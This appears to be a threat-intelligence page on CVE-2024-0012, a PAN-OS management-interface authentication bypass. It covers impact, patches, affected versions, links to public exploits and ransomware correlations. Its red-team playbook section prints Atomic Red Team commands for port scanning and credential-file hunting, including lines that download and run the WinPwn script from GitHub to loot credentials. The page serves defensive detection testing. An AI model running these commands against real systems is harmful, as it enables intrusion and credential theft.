CVE-2024-0012

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 18/11 Upd 21/10

Overview

This vulnerability is an authentication bypass in the management web interface of Palo Alto Networks PAN-OS software. The root cause lies in improper validation of authentication headers, specifically the X-PAN-AUTHCHECK header, allowing unauthenticated requests to bypass normal authentication mechanisms. The flaw affects the PAN-OS management web interface component in versions 10.2, 11.0, 11.1, and 11.2.

Vulnerability Description

An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474 https://security.paloaltonetworks.com/CVE-2024-9474 . The risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1, and PAN-OS 11.2 software. Cloud NGFW and Prisma Access are not impacted by this vulnerability.

Impact

An unauthenticated attacker with network access to the management web interface can gain full administrator privileges. This enables them to perform administrative actions, modify firewall configurations, and exploit additional authenticated vulnerabilities, potentially leading to full system compromise and lateral movement within connected networks. No user interaction or prior credentials are required, making this a critical risk for exposed management interfaces.

Solution

Palo Alto Networks advises upgrading affected PAN-OS versions to fixed releases as detailed in their security advisory at https://security.paloaltonetworks.com/CVE-2024-0012. Additionally, restricting access to the management web interface to trusted internal IP addresses per vendor best practice deployment guidelines is recommended as a mitigating control. Refer to the official advisory for precise patch versions and deployment instructions.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Palo Alto Networks PAN-OS software represents a critical authentication bypass flaw that allows unauthenticated attackers with network access to the management web interface to gain administrative privileges. This weakness arises from improper validation mechanisms within the software, which fail to enforce adequate authentication checks. As a result, attackers can perform administrative actions, manipulate configurations, and potentially exploit other vulnerabilities that require higher privileges, such as those related to privilege escalation. The affected versions include PAN-OS 10.2, 11.0, 11.1, and 11.2, highlighting a significant risk for organizations utilizing these specific software versions.

Exploitation of this vulnerability can occur through various attack vectors. An attacker with network access could initiate a session with the management interface, bypassing authentication checks and gaining unauthorized access. This scenario could be executed remotely, making it particularly concerning for organizations with exposed management interfaces. For instance, an attacker could alter firewall rules, disable security features, or exfiltrate sensitive data, leading to severe operational disruptions. Moreover, the potential for chaining this vulnerability with other authenticated privilege escalation vulnerabilities amplifies the risk, as it could allow attackers to escalate their privileges further and gain deeper access to the network.

The real-world impact of this vulnerability is profound, posing significant business risks. Organizations relying on PAN-OS for network security may find themselves vulnerable to data breaches, operational downtime, and reputational damage. The ability for attackers to manipulate configurations could lead to unauthorized access to sensitive systems, resulting in data loss or theft. Additionally, the financial implications of remediation efforts, regulatory fines, and loss of customer trust can be substantial. Given the critical nature of firewalls and network security appliances, the exploitation of such vulnerabilities can have cascading effects on an organization's overall security posture.

To mitigate the risks associated with this vulnerability, organizations should implement robust detection and prevention strategies. First and foremost, securing access to the management web interface is crucial. This can be achieved by restricting access to trusted internal IP addresses, following best practice deployment guidelines provided by Palo Alto Networks. Furthermore, organizations should employ network segmentation to limit exposure and implement intrusion detection systems (IDS) to monitor for suspicious activities targeting the management interface. Regular security audits and vulnerability assessments should also be conducted to identify and remediate potential weaknesses in the network infrastructure.

In conclusion, the authentication bypass vulnerability in PAN-OS software poses a significant threat to organizations using affected versions of the software. The potential for unauthorized administrative access can lead to severe operational and financial repercussions. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to detect and mitigate these risks effectively. Implementing stringent access controls and continuous monitoring will be essential in safeguarding against exploitation and maintaining a secure network environment.




CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting the PAN-OS authentication bypass vulnerability, accompanied by the emergence of an additional ransomware group leveraging this flaw. This expansion in adversary interest, particularly among ransomware operators, underscores the growing operationalization of CVE-2024-0012 within threat actor toolsets. Although the overall exploitation trend remains relatively stable without a rapid surge, the broadened ransomware associations signal a diversification in threat actor profiles exploiting this vulnerability. The availability of multiple new proof-of-concept exploits further lowers the barrier for attackers, potentially accelerating exploitation in less secure environments. Consequently, this evolution elevates the threat landscape’s complexity and persistence, warranting heightened vigilance. While the EPSS score remains high, the slight uptick in activity and expanded ransomware involvement collectively reinforce the criticality of this vulnerability, maintaining its position as a severe risk to organizations relying on vulnerable PAN-OS deployments.



Update 2 — July 09, 2026

CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2024-0012, accompanied by the continued proliferation of publicly available proof-of-concept exploits. This subtle rise in activity, combined with the stable but near-maximum EPSS score, underscores persistent attacker interest and operational momentum. Notably, ransomware groups linked to this vulnerability have maintained their campaign efforts, reinforcing the risk of this authentication bypass being leveraged for broader intrusion and ransomware deployment. The expanding toolkit ecosystem lowers the technical barrier for adversaries, potentially accelerating exploitation in underprotected environments. Consequently, the threat level remains critical, with the evolving exploitation landscape demanding sustained vigilance from defenders to monitor and respond to emerging activity patterns.

Affected Products (117)

Vendor Product Version CPE
paloaltonetworks Paloaltonetworks Pan-Os 10.2.0 cpe:2.3:o:paloaltonetworks:pan-os:10.2.0:-:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.0 cpe:2.3:o:paloaltonetworks:pan-os:10.2.0:h1:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.0 cpe:2.3:o:paloaltonetworks:pan-os:10.2.0:h2:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.0 cpe:2.3:o:paloaltonetworks:pan-os:10.2.0:h3:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.1 cpe:2.3:o:paloaltonetworks:pan-os:10.2.1:-:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.1 cpe:2.3:o:paloaltonetworks:pan-os:10.2.1:h1:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.1 cpe:2.3:o:paloaltonetworks:pan-os:10.2.1:h2:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.2 cpe:2.3:o:paloaltonetworks:pan-os:10.2.2:-:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.2 cpe:2.3:o:paloaltonetworks:pan-os:10.2.2:h1:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.2 cpe:2.3:o:paloaltonetworks:pan-os:10.2.2:h2:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.2 cpe:2.3:o:paloaltonetworks:pan-os:10.2.2:h4:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.2 cpe:2.3:o:paloaltonetworks:pan-os:10.2.2:h5:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.3 cpe:2.3:o:paloaltonetworks:pan-os:10.2.3:-:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.3 cpe:2.3:o:paloaltonetworks:pan-os:10.2.3:h11:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.3 cpe:2.3:o:paloaltonetworks:pan-os:10.2.3:h12:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.3 cpe:2.3:o:paloaltonetworks:pan-os:10.2.3:h13:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.3 cpe:2.3:o:paloaltonetworks:pan-os:10.2.3:h2:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.3 cpe:2.3:o:paloaltonetworks:pan-os:10.2.3:h4:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.3 cpe:2.3:o:paloaltonetworks:pan-os:10.2.3:h9:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.4 cpe:2.3:o:paloaltonetworks:pan-os:10.2.4:-:*:*:*:*:*:*
+97 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution
exploits/linux/http/panos_management_unauth_rce
watchTowr, sfewer-r7 Unknown linux, unix View

GitHub PoCs (10)

Repository Author Stars Forks Date Link
watchtowrlabs/palo-alto-panos-cve-2024-0012
watchtowrlabs 24 6 2024-11-19 View
Sachinart/CVE-2024-0012-POC
CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015) RCE POC
Sachinart 20 9 2024-11-19 View
TalatumLabs/CVE-2024-0012_CVE-2024-9474_PoC
This PoC is targeting vulnerabilities in Palo Alto PAN-OS, specifically CVE-2024-0012 and CVE-2024-9474. This script au...
TalatumLabs 8 5 2024-12-11 View
Regent8SH/PanOsExploitMultitool
Exploitation and Post-Exploitation Multitool for Palo Alto PAN-OS Systems affected by vulnerabilities CVE-2024-0012 and ...
Regent8SH 6 1 2025-05-21 View
dcollaoa/cve-2024-0012-gui-poc
Python script for CVE-2024-0012 / CVE-2024-9474 exploit
dcollaoa 4 3 2025-02-06 View
0xjessie21/CVE-2024-0012
CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015) RCE POC
0xjessie21 3 1 2024-11-30 View
iSee857/CVE-2024-0012-poc
CVE-2024-0012批量检测脚本
iSee857 2 0 2024-11-22 View
greaselovely/CVE-2024-0012
PANW NGFW CVE-2024-0012
greaselovely 1 0 2024-11-20 View
punitdarji/Paloalto-CVE-2024-0012
punitdarji 0 1 2024-11-22 View
Gr-1m/cve-2024-0012-poc
CVE-2024-0012是Palo Alto Networks PAN-OS软件中的一个身份验证绕过漏洞。该漏洞允许未经身份验证的攻击者通过网络访问管理Web界面,获取PAN-OS管理员权限,从而执行管理操作、篡改配置,或利用其他需要身份...
Gr-1m 0 0 2024-11-22 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Ransomware Groups 5

akira
CORRELATED
1529 victims
Chain Inference
2026-04-05
ransomhub
CORRELATED
842 victims
Chain Inference
2026-04-05
sinobi
CORRELATED
274 victims
Chain Inference
2026-04-05
frag
CORRELATED
30 victims
Chain Inference
2026-05-15
0apt
CORRELATED
Chain Inference
2026-04-05

Threat Feed

43 events
2026-07-09
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Exploited by frag

Ransomware group known to exploit this vulnerability (30 known victims)

2026-05-15
Exploited by frag

Ransomware group known to exploit this vulnerability (30 known victims)

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-04-05
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-04-05
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2024-11-19
PoC Published (10 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2024-11-18
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2024-11-18
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
Privilege Escalation
79% privilege_escalation
Insecure Direct Object Reference
53% idor

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-166 Force the System to Reset Values
31%
Medium
CAPEC-12 Choosing Message Identifier
30%
High High
CAPEC-216 Communication Channel Manipulation
30%
CAPEC-36 Using Unpublished Interfaces or Functionality
30%
Medium High
CAPEC-62 Cross Site Request Forgery
30%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

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References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-0012
security.paloaltonetworks.com
GitHub CVE vendor-advisory
https://security.paloaltonetworks.com/CVE-2024-0012
unit42.paloaltonetworks.com
NVD API Vendor Advisory
https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/
labs.watchtowr.com
NVD API Exploit Third Party Advisory
https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-0012